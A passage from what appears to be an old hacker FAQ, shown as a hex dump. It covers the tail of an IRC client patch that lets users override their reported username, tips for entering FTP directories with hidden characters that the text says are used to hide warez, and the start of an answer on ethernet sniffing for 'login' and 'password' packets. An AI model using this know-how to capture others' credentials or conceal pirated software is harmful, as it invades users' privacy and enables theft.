|000053a0| 63 5f 73 74 72 63 70 79 | 28 26 6d 79 5f 70 61 74 |c_strcpy|(&my_pat|
|000053b0| 68 2c 20 22 2f 22 29 3b | 0d 0a 09 69 66 20 28 2a |h, "/");|...if (*|
|000053c0| 72 65 61 6c 6e 61 6d 65 | 20 3d 3d 20 6e 75 6c 6c |realname| == null|
|000053d0| 28 63 68 61 72 29 29 0d | 0a 09 09 73 74 72 6d 63 |(char)).|...strmc|
|000053e0| 70 79 28 72 65 61 6c 6e | 61 6d 65 2c 20 22 2a 55 |py(realn|ame, "*U|
|000053f0| 6e 6b 6e 6f 77 6e 2a 22 | 2c 20 52 45 41 4c 4e 41 |nknown*"|, REALNA|
|00005400| 4d 45 5f 4c 45 4e 29 3b | 0d 0a 21 20 20 20 20 20 |ME_LEN);|..! |
|00005410| 20 20 69 66 20 28 70 74 | 72 20 3d 20 67 65 74 65 | if (pt|r = gete|
|00005420| 6e 76 28 22 49 52 43 55 | 53 45 52 22 29 29 0d 0a |nv("IRCU|SER"))..|
|00005430| 21 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |! | |
|00005440| 73 74 72 6d 63 70 79 28 | 75 73 65 72 6e 61 6d 65 |strmcpy(|username|
|00005450| 2c 20 70 74 72 2c 20 4e | 41 4d 45 5f 4c 45 4e 29 |, ptr, N|AME_LEN)|
|00005460| 3b 0d 0a 21 20 20 20 20 | 20 20 20 65 6c 73 65 20 |;..! | else |
|00005470| 69 66 20 28 2a 75 73 65 | 72 6e 61 6d 65 20 3d 3d |if (*use|rname ==|
|00005480| 20 6e 75 6c 6c 28 63 68 | 61 72 29 29 0d 0a 09 7b | null(ch|ar))...{|
|00005490| 0d 0a 09 09 69 66 20 28 | 70 74 72 20 3d 20 67 65 |....if (|ptr = ge|
|000054a0| 74 65 6e 76 28 22 55 53 | 45 52 22 29 29 0d 0a 09 |tenv("US|ER"))...|
|000054b0| 09 09 73 74 72 6d 63 70 | 79 28 75 73 65 72 6e 61 |..strmcp|y(userna|
|000054c0| 6d 65 2c 20 70 74 72 2c | 20 4e 41 4d 45 5f 4c 45 |me, ptr,| NAME_LE|
|000054d0| 4e 29 3b 0d 0a 0d 0a 0d | 0a 31 36 2e 20 48 6f 77 |N);.....|.16. How|
|000054e0| 20 74 6f 20 49 20 63 68 | 61 6e 67 65 20 74 6f 20 | to I ch|ange to |
|000054f0| 64 69 72 65 63 74 6f 72 | 69 65 73 20 77 69 74 68 |director|ies with|
|00005500| 20 73 74 72 61 6e 67 65 | 20 63 68 61 72 61 63 74 | strange| charact|
|00005510| 65 72 73 20 69 6e 20 74 | 68 65 6d 3f 0d 0a 0d 0a |ers in t|hem?....|
|00005520| 54 68 65 73 65 20 64 69 | 72 65 63 74 6f 72 69 65 |These di|rectorie|
|00005530| 73 20 61 72 65 20 6f 66 | 74 65 6e 20 75 73 65 64 |s are of|ten used|
|00005540| 20 62 79 20 70 65 6f 70 | 6c 65 20 74 72 79 69 6e | by peop|le tryin|
|00005550| 67 20 74 6f 20 68 69 64 | 65 20 69 6e 66 6f 72 6d |g to hid|e inform|
|00005560| 61 74 69 6f 6e 2c 0d 0a | 6d 6f 73 74 20 6f 66 74 |ation,..|most oft|
|00005570| 65 6e 20 77 61 72 65 7a | 20 28 63 6f 6d 6d 65 72 |en warez| (commer|
|00005580| 63 69 61 6c 20 73 6f 66 | 74 77 61 72 65 29 2e 0d |cial sof|tware)..|
|00005590| 0a 0d 0a 54 68 65 72 65 | 20 61 72 65 20 73 65 76 |...There| are sev|
|000055a0| 65 72 61 6c 20 74 68 69 | 6e 67 73 20 79 6f 75 20 |eral thi|ngs you |
|000055b0| 63 61 6e 20 64 6f 20 74 | 6f 20 64 65 74 65 72 6d |can do t|o determ|
|000055c0| 69 6e 65 20 77 68 61 74 | 20 74 68 65 73 65 20 73 |ine what| these s|
|000055d0| 74 72 61 6e 67 65 0d 0a | 63 68 61 72 61 63 74 65 |trange..|characte|
|000055e0| 72 73 20 61 72 65 2e 20 | 20 4f 6e 65 20 69 73 20 |rs are. | One is |
|000055f0| 74 6f 20 75 73 65 20 74 | 68 65 20 61 72 67 75 6d |to use t|he argum|
|00005600| 65 6e 74 73 20 74 6f 20 | 74 68 65 20 6c 73 20 63 |ents to |the ls c|
|00005610| 6f 6d 6d 61 6e 64 20 74 | 68 61 74 0d 0a 63 61 75 |ommand t|hat..cau|
|00005620| 73 65 20 6c 73 20 74 6f | 20 67 69 76 65 20 79 6f |se ls to| give yo|
|00005630| 75 20 6d 6f 72 65 20 69 | 6e 66 6f 72 6d 61 74 69 |u more i|nformati|
|00005640| 6f 6e 3a 0d 0a 0d 0a 3e | 46 72 6f 6d 20 20 74 68 |on:....>|From th|
|00005650| 65 20 6d 61 6e 20 70 61 | 67 65 20 66 6f 72 20 6c |e man pa|ge for l|
|00005660| 73 3a 0d 0a 0d 0a 20 20 | 20 20 2d 46 20 20 20 43 |s:.... | -F C|
|00005670| 61 75 73 65 73 20 64 69 | 72 65 63 74 6f 72 69 65 |auses di|rectorie|
|00005680| 73 20 74 6f 20 62 65 20 | 6d 61 72 6b 65 64 20 77 |s to be |marked w|
|00005690| 69 74 68 20 61 20 74 72 | 61 69 6c 69 6e 67 20 60 |ith a tr|ailing `|
|000056a0| 60 2f 27 27 2c 0d 0a 09 | 20 65 78 65 63 75 74 61 |`/'',...| executa|
|000056b0| 62 6c 65 20 66 69 6c 65 | 73 20 74 6f 20 62 65 20 |ble file|s to be |
|000056c0| 6d 61 72 6b 65 64 20 77 | 69 74 68 20 61 20 74 72 |marked w|ith a tr|
|000056d0| 61 69 6c 69 6e 67 20 60 | 60 2a 27 27 2c 20 61 6e |ailing `|`*'', an|
|000056e0| 64 0d 0a 09 20 73 79 6d | 62 6f 6c 69 63 20 6c 69 |d... sym|bolic li|
|000056f0| 6e 6b 73 20 74 6f 20 62 | 65 20 6d 61 72 6b 65 64 |nks to b|e marked|
|00005700| 20 77 69 74 68 20 61 20 | 74 72 61 69 6c 69 6e 67 | with a |trailing|
|00005710| 20 60 60 40 27 27 20 73 | 79 6d 62 6f 6c 2e 0d 0a | ``@'' s|ymbol...|
|00005720| 0d 0a 20 20 20 20 2d 71 | 20 20 20 46 6f 72 63 65 |.. -q| Force|
|00005730| 73 20 70 72 69 6e 74 69 | 6e 67 20 6f 66 20 6e 6f |s printi|ng of no|
|00005740| 6e 2d 67 72 61 70 68 69 | 63 20 63 68 61 72 61 63 |n-graphi|c charac|
|00005750| 74 65 72 73 20 69 6e 20 | 66 69 6c 65 6e 61 6d 65 |ters in |filename|
|00005760| 73 20 61 73 20 74 68 65 | 0d 0a 09 20 63 68 61 72 |s as the|... char|
|00005770| 61 63 74 65 72 20 60 60 | 3f 27 27 2e 0d 0a 0d 0a |acter ``|?''.....|
|00005780| 20 20 20 20 2d 62 20 20 | 20 46 6f 72 63 65 73 20 | -b | Forces |
|00005790| 70 72 69 6e 74 69 6e 67 | 20 6f 66 20 6e 6f 6e 2d |printing| of non-|
|000057a0| 67 72 61 70 68 69 63 20 | 63 68 61 72 61 63 74 65 |graphic |characte|
|000057b0| 72 73 20 69 6e 20 74 68 | 65 20 5c 64 64 64 0d 0a |rs in th|e \ddd..|
|000057c0| 09 20 6e 6f 74 61 74 69 | 6f 6e 2c 20 69 6e 20 6f |. notati|on, in o|
|000057d0| 63 74 61 6c 2e 0d 0a 0d | 0a 50 65 72 68 61 70 73 |ctal....|.Perhaps|
|000057e0| 20 74 68 65 20 6d 6f 73 | 74 20 75 73 65 66 75 6c | the mos|t useful|
|000057f0| 20 74 6f 6f 6c 20 69 73 | 20 74 6f 20 73 69 6d 70 | tool is| to simp|
|00005800| 6c 79 20 64 6f 20 61 6e | 20 22 6c 73 20 2d 61 6c |ly do an| "ls -al|
|00005810| 20 66 69 6c 65 6e 61 6d | 65 22 20 74 6f 0d 0a 73 | filenam|e" to..s|
|00005820| 61 76 65 20 74 68 65 20 | 64 69 72 65 63 74 6f 72 |ave the |director|
|00005830| 79 20 6f 66 20 74 68 65 | 20 72 65 6d 6f 74 65 20 |y of the| remote |
|00005840| 66 74 70 20 73 69 74 65 | 20 61 73 20 61 20 66 69 |ftp site| as a fi|
|00005850| 6c 65 20 6f 6e 20 79 6f | 75 72 20 6c 6f 63 61 6c |le on yo|ur local|
|00005860| 0d 0a 6d 61 63 68 69 6e | 65 2e 20 20 54 68 65 6e |..machin|e. Then|
|00005870| 20 79 6f 75 20 63 61 6e | 20 64 6f 20 61 20 22 63 | you can| do a "c|
|00005880| 61 74 20 2d 74 20 2d 76 | 20 2d 65 20 66 69 6c 65 |at -t -v| -e file|
|00005890| 6e 61 6d 65 22 20 74 6f | 20 73 65 65 20 65 78 61 |name" to| see exa|
|000058a0| 63 74 6c 79 0d 0a 77 68 | 61 74 20 74 68 6f 73 65 |ctly..wh|at those|
|000058b0| 20 62 69 7a 61 72 72 65 | 20 6c 69 74 74 6c 65 20 | bizarre| little |
|000058c0| 63 68 61 72 61 63 74 65 | 72 73 20 61 72 65 2e 0d |characte|rs are..|
|000058d0| 0a 0d 0a 3e 46 72 6f 6d | 20 20 74 68 65 20 6d 61 |...>From| the ma|
|000058e0| 6e 20 70 61 67 65 20 66 | 6f 72 20 63 61 74 3a 0d |n page f|or cat:.|
|000058f0| 0a 0d 0a 20 20 20 20 2d | 76 20 20 43 61 75 73 65 |... -|v Cause|
|00005900| 73 20 6e 6f 6e 2d 70 72 | 69 6e 74 69 6e 67 20 63 |s non-pr|inting c|
|00005910| 68 61 72 61 63 74 65 72 | 73 20 28 77 69 74 68 20 |haracter|s (with |
|00005920| 74 68 65 20 65 78 63 65 | 70 74 69 6f 6e 20 6f 66 |the exce|ption of|
|00005930| 20 74 61 62 73 2c 0d 0a | 09 6e 65 77 6c 69 6e 65 | tabs,..|.newline|
|00005940| 73 2c 20 61 6e 64 20 66 | 6f 72 6d 20 66 65 65 64 |s, and f|orm feed|
|00005950| 73 29 20 74 6f 20 62 65 | 20 64 69 73 70 6c 61 79 |s) to be| display|
|00005960| 65 64 2e 20 20 43 6f 6e | 74 72 6f 6c 20 63 68 61 |ed. Con|trol cha|
|00005970| 72 61 63 74 65 72 73 0d | 0a 09 61 72 65 20 64 69 |racters.|..are di|
|00005980| 73 70 6c 61 79 65 64 20 | 61 73 20 5e 58 20 28 3c |splayed |as ^X (<|
|00005990| 43 74 72 6c 3e 78 29 2c | 20 77 68 65 72 65 20 58 |Ctrl>x),| where X|
|000059a0| 20 69 73 20 74 68 65 20 | 6b 65 79 20 70 72 65 73 | is the |key pres|
|000059b0| 73 65 64 20 77 69 74 68 | 0d 0a 09 74 68 65 20 3c |sed with|...the <|
|000059c0| 43 74 72 6c 3e 20 6b 65 | 79 20 28 66 6f 72 20 65 |Ctrl> ke|y (for e|
|000059d0| 78 61 6d 70 6c 65 2c 20 | 3c 43 74 72 6c 3e 6d 20 |xample, |<Ctrl>m |
|000059e0| 69 73 20 64 69 73 70 6c | 61 79 65 64 20 61 73 20 |is displ|ayed as |
|000059f0| 5e 4d 29 2e 20 20 54 68 | 65 0d 0a 09 3c 44 65 6c |^M). Th|e...<Del|
|00005a00| 3e 20 63 68 61 72 61 63 | 74 65 72 20 28 6f 63 74 |> charac|ter (oct|
|00005a10| 61 6c 20 30 31 37 37 29 | 20 69 73 20 70 72 69 6e |al 0177)| is prin|
|00005a20| 74 65 64 20 61 73 20 5e | 3f 2e 20 20 4e 6f 6e 2d |ted as ^|?. Non-|
|00005a30| 41 53 43 49 49 0d 0a 09 | 63 68 61 72 61 63 74 65 |ASCII...|characte|
|00005a40| 72 73 20 28 77 69 74 68 | 20 74 68 65 20 68 69 67 |rs (with| the hig|
|00005a50| 68 20 62 69 74 20 73 65 | 74 29 20 61 72 65 20 70 |h bit se|t) are p|
|00005a60| 72 69 6e 74 65 64 20 61 | 73 20 4d 20 2d 78 2c 20 |rinted a|s M -x, |
|00005a70| 77 68 65 72 65 0d 0a 09 | 78 20 69 73 20 74 68 65 |where...|x is the|
|00005a80| 20 63 68 61 72 61 63 74 | 65 72 20 73 70 65 63 69 | charact|er speci|
|00005a90| 66 69 65 64 20 62 79 20 | 74 68 65 20 73 65 76 65 |fied by |the seve|
|00005aa0| 6e 20 6c 6f 77 20 6f 72 | 64 65 72 20 62 69 74 73 |n low or|der bits|
|00005ab0| 2e 0d 0a 0d 0a 20 20 20 | 20 2d 74 20 20 43 61 75 |..... | -t Cau|
|00005ac0| 73 65 73 20 74 61 62 73 | 20 74 6f 20 62 65 20 70 |ses tabs| to be p|
|00005ad0| 72 69 6e 74 65 64 20 61 | 73 20 5e 49 20 61 6e 64 |rinted a|s ^I and|
|00005ae0| 20 66 6f 72 6d 20 66 65 | 65 64 73 20 61 73 20 5e | form fe|eds as ^|
|00005af0| 4c 2e 20 20 54 68 69 73 | 0d 0a 09 6f 70 74 69 6f |L. This|...optio|
|00005b00| 6e 20 69 73 20 69 67 6e | 6f 72 65 64 20 69 66 20 |n is ign|ored if |
|00005b10| 74 68 65 20 2d 76 20 6f | 70 74 69 6f 6e 20 69 73 |the -v o|ption is|
|00005b20| 20 6e 6f 74 20 73 70 65 | 63 69 66 69 65 64 2e 0d | not spe|cified..|
|00005b30| 0a 0d 0a 20 20 20 20 2d | 65 20 20 43 61 75 73 65 |... -|e Cause|
|00005b40| 73 20 61 20 60 60 24 27 | 27 20 63 68 61 72 61 63 |s a ``$'|' charac|
|00005b50| 74 65 72 20 74 6f 20 62 | 65 20 70 72 69 6e 74 65 |ter to b|e printe|
|00005b60| 64 20 61 74 20 74 68 65 | 20 65 6e 64 20 6f 66 20 |d at the| end of |
|00005b70| 65 61 63 68 20 6c 69 6e | 65 0d 0a 09 28 70 72 69 |each lin|e...(pri|
|00005b80| 6f 72 20 74 6f 20 74 68 | 65 20 6e 65 77 2d 6c 69 |or to th|e new-li|
|00005b90| 6e 65 29 2e 20 20 54 68 | 69 73 20 6f 70 74 69 6f |ne). Th|is optio|
|00005ba0| 6e 20 69 73 20 69 67 6e | 6f 72 65 64 20 69 66 20 |n is ign|ored if |
|00005bb0| 74 68 65 20 2d 76 0d 0a | 09 6f 70 74 69 6f 6e 20 |the -v..|.option |
|00005bc0| 69 73 20 6e 6f 74 20 73 | 65 74 2e 0d 0a 0d 0a 49 |is not s|et.....I|
|00005bd0| 66 20 74 68 65 20 64 69 | 72 65 63 74 6f 72 79 20 |f the di|rectory |
|00005be0| 6e 61 6d 65 20 69 6e 63 | 6c 75 64 65 73 20 61 20 |name inc|ludes a |
|00005bf0| 3c 53 50 41 43 45 3e 20 | 6f 72 20 61 20 3c 54 41 |<SPACE> |or a <TA|
|00005c00| 42 3e 20 79 6f 75 20 77 | 69 6c 6c 20 6e 65 65 64 |B> you w|ill need|
|00005c10| 20 74 6f 0d 0a 65 6e 63 | 6c 6f 73 65 20 74 68 65 | to..enc|lose the|
|00005c20| 20 65 6e 74 69 72 65 20 | 64 69 72 65 63 74 6f 72 | entire |director|
|00005c30| 79 20 6e 61 6d 65 20 69 | 6e 20 71 75 6f 74 65 73 |y name i|n quotes|
|00005c40| 2e 20 20 45 78 61 6d 70 | 6c 65 3a 0d 0a 0d 0a 63 |. Examp|le:....c|
|00005c50| 64 20 22 2e 2e 3c 54 41 | 42 3e 22 0d 0a 0d 0a 4f |d "..<TA|B>"....O|
|00005c60| 6e 20 61 6e 20 49 42 4d | 2d 50 43 2c 20 79 6f 75 |n an IBM|-PC, you|
|00005c70| 20 6d 61 79 20 65 6e 74 | 65 72 20 74 68 65 73 65 | may ent|er these|
|00005c80| 20 73 70 65 63 69 61 6c | 20 63 68 61 72 61 63 74 | special| charact|
|00005c90| 65 72 73 20 62 79 20 68 | 6f 6c 64 69 6e 67 20 64 |ers by h|olding d|
|00005ca0| 6f 77 6e 0d 0a 74 68 65 | 20 3c 41 4c 54 3e 20 6b |own..the| <ALT> k|
|00005cb0| 65 79 20 61 6e 64 20 65 | 6e 74 65 72 69 6e 67 20 |ey and e|ntering |
|00005cc0| 74 68 65 20 64 65 63 69 | 6d 61 6c 20 76 61 6c 75 |the deci|mal valu|
|00005cd0| 65 20 6f 66 20 74 68 65 | 20 73 70 65 63 69 61 6c |e of the| special|
|00005ce0| 20 63 68 61 72 61 63 74 | 65 72 0d 0a 6f 6e 20 79 | charact|er..on y|
|00005cf0| 6f 75 72 20 6e 75 6d 65 | 72 69 63 20 6b 65 79 70 |our nume|ric keyp|
|00005d00| 61 64 2e 20 20 57 68 65 | 6e 20 79 6f 75 20 72 65 |ad. Whe|n you re|
|00005d10| 6c 65 61 73 65 20 74 68 | 65 20 3c 41 4c 54 3e 20 |lease th|e <ALT> |
|00005d20| 6b 65 79 2c 20 74 68 65 | 20 73 70 65 63 69 61 6c |key, the| special|
|00005d30| 0d 0a 63 68 61 72 61 63 | 74 65 72 20 73 68 6f 75 |..charac|ter shou|
|00005d40| 6c 64 20 61 70 70 65 61 | 72 20 6f 6e 20 79 6f 75 |ld appea|r on you|
|00005d50| 72 20 73 63 72 65 65 6e | 2e 20 20 41 6e 20 41 53 |r screen|. An AS|
|00005d60| 43 49 49 20 63 68 61 72 | 74 20 63 61 6e 20 62 65 |CII char|t can be|
|00005d70| 20 76 65 72 79 0d 0a 68 | 65 6c 70 66 75 6c 2e 0d | very..h|elpful..|
|00005d80| 0a 0d 0a 53 6f 6d 65 74 | 69 6d 65 73 20 70 65 6f |...Somet|imes peo|
|00005d90| 70 6c 65 20 77 69 6c 6c | 20 63 72 65 61 74 65 20 |ple will| create |
|00005da0| 64 69 72 65 63 74 6f 72 | 69 65 73 20 77 69 74 68 |director|ies with|
|00005db0| 20 73 6f 6d 65 20 6f 66 | 20 74 68 65 20 73 74 61 | some of| the sta|
|00005dc0| 6e 64 61 72 64 0d 0a 73 | 74 74 79 20 63 6f 6e 74 |ndard..s|tty cont|
|00005dd0| 72 6f 6c 20 63 68 61 72 | 61 63 74 65 72 73 20 69 |rol char|acters i|
|00005de0| 6e 20 74 68 65 6d 2c 20 | 73 75 63 68 20 61 73 20 |n them, |such as |
|00005df0| 5e 5a 20 28 73 75 73 70 | 65 6e 64 29 20 6f 72 20 |^Z (susp|end) or |
|00005e00| 5e 43 20 28 69 6e 74 72 | 29 2e 0d 0a 54 6f 20 67 |^C (intr|)...To g|
|00005e10| 65 74 20 69 6e 74 6f 20 | 74 68 6f 73 65 20 64 69 |et into |those di|
|00005e20| 72 65 63 74 6f 72 69 65 | 73 2c 20 79 6f 75 20 77 |rectorie|s, you w|
|00005e30| 69 6c 6c 20 66 69 72 73 | 74 20 6e 65 65 64 20 74 |ill firs|t need t|
|00005e40| 6f 20 75 73 65 72 20 73 | 74 74 79 20 74 6f 0d 0a |o user s|tty to..|
|00005e50| 63 68 61 6e 67 65 20 74 | 68 65 20 63 6f 6e 74 72 |change t|he contr|
|00005e60| 6f 6c 20 63 68 61 72 61 | 63 74 65 72 20 69 6e 20 |ol chara|cter in |
|00005e70| 71 75 73 74 69 6f 6e 20 | 74 6f 20 61 6e 6f 74 68 |qustion |to anoth|
|00005e80| 65 72 20 63 68 61 72 61 | 63 74 65 72 2e 0d 0a 0d |er chara|cter....|
|00005e90| 0a 3e 46 72 6f 6d 20 20 | 74 68 65 20 6d 61 6e 20 |.>From |the man |
|00005ea0| 70 61 67 65 20 66 6f 72 | 20 73 74 74 79 3a 0d 0a |page for| stty:..|
|00005eb0| 0d 0a 20 20 20 20 43 6f | 6e 74 72 6f 6c 20 61 73 |.. Co|ntrol as|
|00005ec0| 73 69 67 6e 6d 65 6e 74 | 73 0d 0a 0d 0a 20 20 20 |signment|s.... |
|00005ed0| 20 63 6f 6e 74 72 6f 6c | 2d 63 68 61 72 61 63 74 | control|-charact|
|00005ee0| 65 72 20 43 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |er C.. | |
|00005ef0| 20 20 20 20 20 20 20 20 | 20 20 20 20 53 65 74 73 | | Sets|
|00005f00| 20 63 6f 6e 74 72 6f 6c | 2d 63 68 61 72 61 63 74 | control|-charact|
|00005f10| 65 72 20 74 6f 20 43 2c | 20 77 68 65 72 65 20 63 |er to C,| where c|
|00005f20| 6f 6e 74 72 6f 6c 2d 63 | 68 61 72 61 63 74 65 72 |ontrol-c|haracter|
|00005f30| 20 69 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | is.. | |
|00005f40| 20 20 20 20 20 20 20 20 | 20 20 20 65 72 61 73 65 | | erase|
|00005f50| 2c 20 6b 69 6c 6c 2c 20 | 69 6e 74 72 20 28 69 6e |, kill, |intr (in|
|00005f60| 74 65 72 72 75 70 74 29 | 2c 20 71 75 69 74 2c 20 |terrupt)|, quit, |
|00005f70| 65 6f 66 2c 20 65 6f 6c | 2c 20 73 77 74 63 68 0d |eof, eol|, swtch.|
|00005f80| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005f90| 20 20 20 20 20 20 20 28 | 73 77 69 74 63 68 29 2c | (|switch),|
|00005fa0| 20 73 74 61 72 74 2c 20 | 73 74 6f 70 20 6f 72 20 | start, |stop or |
|00005fb0| 73 75 73 70 2e 0d 0a 0d | 0a 20 20 20 20 20 20 20 |susp....|. |
|00005fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 | | s|
|00005fd0| 74 61 72 74 20 61 6e 64 | 20 73 74 6f 70 20 61 72 |tart and| stop ar|
|00005fe0| 65 20 61 76 61 69 6c 61 | 62 6c 65 20 61 73 20 70 |e availa|ble as p|
|00005ff0| 6f 73 73 69 62 6c 65 20 | 63 6f 6e 74 72 6f 6c 20 |ossible |control |
|00006000| 63 68 61 72 2d 0d 0a 20 | 20 20 20 20 20 20 20 20 |char-.. | |
|00006010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 61 63 74 | | act|
|00006020| 65 72 73 20 66 6f 72 20 | 74 68 65 20 63 6f 6e 74 |ers for |the cont|
|00006030| 72 6f 6c 2d 63 68 61 72 | 61 63 74 65 72 20 43 20 |rol-char|acter C |
|00006040| 61 73 73 69 67 6e 6d 65 | 6e 74 2e 0d 0a 0d 0a 20 |assignme|nt..... |
|00006050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006060| 20 20 20 20 20 49 66 20 | 43 20 69 73 20 70 72 65 | If |C is pre|
|00006070| 63 65 64 65 64 20 62 79 | 20 61 20 63 61 72 65 74 |ceded by| a caret|
|00006080| 20 28 5e 29 20 28 65 73 | 63 61 70 65 64 20 66 72 | (^) (es|caped fr|
|00006090| 6f 6d 20 74 68 65 0d 0a | 20 20 20 20 20 20 20 20 |om the..| |
|000060a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 73 68 | | sh|
|000060b0| 65 6c 6c 29 2c 20 74 68 | 65 6e 20 74 68 65 20 76 |ell), th|en the v|
|000060c0| 61 6c 75 65 20 75 73 65 | 64 20 69 73 20 74 68 65 |alue use|d is the|
|000060d0| 20 63 6f 72 72 65 73 70 | 6f 6e 64 69 6e 67 20 63 | corresp|onding c|
|000060e0| 6f 6e 2d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |on-.. | |
|000060f0| 20 20 20 20 20 20 20 20 | 20 20 20 74 72 6f 6c 20 | | trol |
|00006100| 63 68 61 72 61 63 74 65 | 72 20 28 66 6f 72 20 65 |characte|r (for e|
|00006110| 78 61 6d 70 6c 65 2c 20 | 5e 44 20 69 73 20 61 20 |xample, |^D is a |
|00006120| 3c 43 74 72 6c 3e 64 3b | 20 5e 3f 20 69 73 0d 0a |<Ctrl>d;| ^? is..|
|00006130| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006140| 20 20 20 20 20 20 69 6e | 74 65 72 70 72 65 74 65 | in|terprete|
|00006150| 64 20 61 73 20 44 45 4c | 45 54 45 20 61 6e 64 20 |d as DEL|ETE and |
|00006160| 5e 2d 20 69 73 20 69 6e | 74 65 72 70 72 65 74 65 |^- is in|terprete|
|00006170| 64 20 61 73 20 75 6e 64 | 65 2d 0d 0a 20 20 20 20 |d as und|e-.. |
|00006180| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006190| 20 20 66 69 6e 65 64 29 | 2e 0d 0a 0d 0a 55 73 65 | fined)|.....Use|
|000061a0| 20 74 68 65 20 73 74 74 | 79 20 2d 61 20 63 6f 6d | the stt|y -a com|
|000061b0| 6d 61 6e 64 20 74 6f 20 | 73 65 65 20 79 6f 75 72 |mand to |see your|
|000061c0| 20 63 75 72 72 65 6e 74 | 20 73 74 74 79 20 73 65 | current| stty se|
|000061d0| 74 74 69 6e 67 73 2c 20 | 61 6e 64 20 74 6f 0d 0a |ttings, |and to..|
|000061e0| 64 65 74 65 72 6d 69 6e | 65 20 77 68 69 63 68 20 |determin|e which |
|000061f0| 6f 6e 65 20 69 73 20 63 | 61 75 73 69 6e 67 20 79 |one is c|ausing y|
|00006200| 6f 75 20 70 72 6f 62 6c | 65 6d 73 2e 0d 0a 0d 0a |ou probl|ems.....|
|00006210| 0d 0a 31 37 2e 20 57 68 | 61 74 20 69 73 20 65 74 |..17. Wh|at is et|
|00006220| 68 65 72 6e 65 74 20 73 | 6e 69 66 66 69 6e 67 3f |hernet s|niffing?|
|00006230| 0d 0a 0d 0a 45 74 68 65 | 72 6e 65 74 20 73 6e 69 |....Ethe|rnet sni|
|00006240| 66 66 69 6e 67 20 69 73 | 20 6c 69 73 74 65 6e 69 |ffing is| listeni|
|00006250| 6e 67 20 28 77 69 74 68 | 20 73 6f 66 74 77 61 72 |ng (with| softwar|
|00006260| 65 29 20 74 6f 20 74 68 | 65 20 72 61 77 20 65 74 |e) to th|e raw et|
|00006270| 68 65 72 6e 65 74 0d 0a | 64 65 76 69 63 65 20 66 |hernet..|device f|
|00006280| 6f 72 20 70 61 63 6b 65 | 74 73 20 74 68 61 74 20 |or packe|ts that |
|00006290| 69 6e 74 65 72 65 73 74 | 20 79 6f 75 2e 20 20 57 |interest| you. W|
|000062a0| 68 65 6e 20 79 6f 75 72 | 20 73 6f 66 74 77 61 72 |hen your| softwar|
|000062b0| 65 20 73 65 65 73 20 61 | 0d 0a 70 61 63 6b 65 74 |e sees a|..packet|
|000062c0| 20 74 68 61 74 20 66 69 | 74 73 20 63 65 72 74 61 | that fi|ts certa|
|000062d0| 69 6e 20 63 72 69 74 65 | 72 69 61 2c 20 69 74 20 |in crite|ria, it |
|000062e0| 6c 6f 67 73 20 69 74 20 | 74 6f 20 61 20 66 69 6c |logs it |to a fil|
|000062f0| 65 2e 20 20 54 68 65 20 | 6d 6f 73 74 0d 0a 63 6f |e. The |most..co|
|00006300| 6d 6d 6f 6e 20 63 72 69 | 74 65 72 69 61 20 66 6f |mmon cri|teria fo|
|00006310| 72 20 61 6e 20 69 6e 74 | 65 72 65 73 74 69 6e 67 |r an int|eresting|
|00006320| 20 70 61 63 6b 65 74 20 | 69 73 20 6f 6e 65 20 74 | packet |is one t|
|00006330| 68 61 74 20 63 6f 6e 74 | 61 69 6e 73 20 77 6f 72 |hat cont|ains wor|
|00006340| 64 73 0d 0a 6c 69 6b 65 | 20 22 6c 6f 67 69 6e 22 |ds..like| "login"|
|00006350| 20 6f 72 20 22 70 61 73 | 73 77 6f 72 64 2e 22 0d | or "pas|sword.".|
|00006360| 0a 0d 0a 4d 61 6e 79 20 | 65 74 68 65 72 6e 65 74 |...Many |ethernet|
|00006370| 20 73 6e 69 66 66 65 72 | 73 20 61 72 65 20 61 76 | sniffer|s are av|
|00006380| 61 69 6c 61 62 6c 65 2c | 20 68 65 72 65 20 61 72 |ailable,| here ar|
|00006390| 65 20 61 20 66 65 77 20 | 74 68 61 74 20 6d 61 79 |e a few |that may|
|000063a0| 20 62 65 20 6f 6e 0d 0a | 79 6f 75 72 20 73 79 73 | be on..|your sys|
|000063b0| 74 65 6d 20 6e 6f 77 3a | 0d 0a 0d 0a 4f 53 20 20 |tem now:|....OS |
|000063c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 53 6e 69 66 | | Snif|
|000063d0| 66 65 72 0d 0a 7e 7e 20 | 20 20 20 20 20 20 20 20 |fer..~~ | |
|000063e0| 20 20 20 20 20 7e 7e 7e | 7e 7e 7e 7e 0d 0a 48 50 | ~~~|~~~~..HP|
|000063f0| 2f 55 58 20 20 20 20 20 | 20 20 20 20 20 20 6e 65 |/UX | ne|
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.